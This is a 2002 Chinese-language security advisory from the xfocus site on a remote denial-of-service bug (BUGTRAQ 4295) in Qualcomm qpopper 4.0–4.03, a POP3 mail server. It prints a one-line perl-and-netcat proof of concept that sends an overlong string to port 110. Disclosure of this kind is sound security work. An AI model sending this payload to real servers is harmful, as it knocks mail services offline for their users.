xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Qualcomm QPopper远程拒绝服务攻击漏洞


发布时间:2002-03-19
更新时间:2002-03-19
严重程度:
威胁程度:远程拒绝服务
错误类型:边界检查错误
利用方式:服务器模式

BUGTRAQ ID:4295

受影响系统
Qualcomm qpopper 4.03
Qualcomm qpopper 4.02
Qualcomm qpopper 4.01
Qualcomm qpopper 4.0
详细描述
Qualcomm's QPopper是一基于Linux和Unix系统下的POP3邮件服务程序。

其中部分版本的QPOPER存在漏洞,提交发送超过2048个字符的字符串给qpoper进程,会导致出现拒绝服务。

测试代码
perl -e '{print "A"x"2049"}' | netcat host.com 110

解决方案
尚无

相关信息
Dustin Childers <dustin@acm.org>.
参考:http://online.securityfocus.com/archive/1/262213
相关主页:http://www.eudora.com/freeware/qpop.html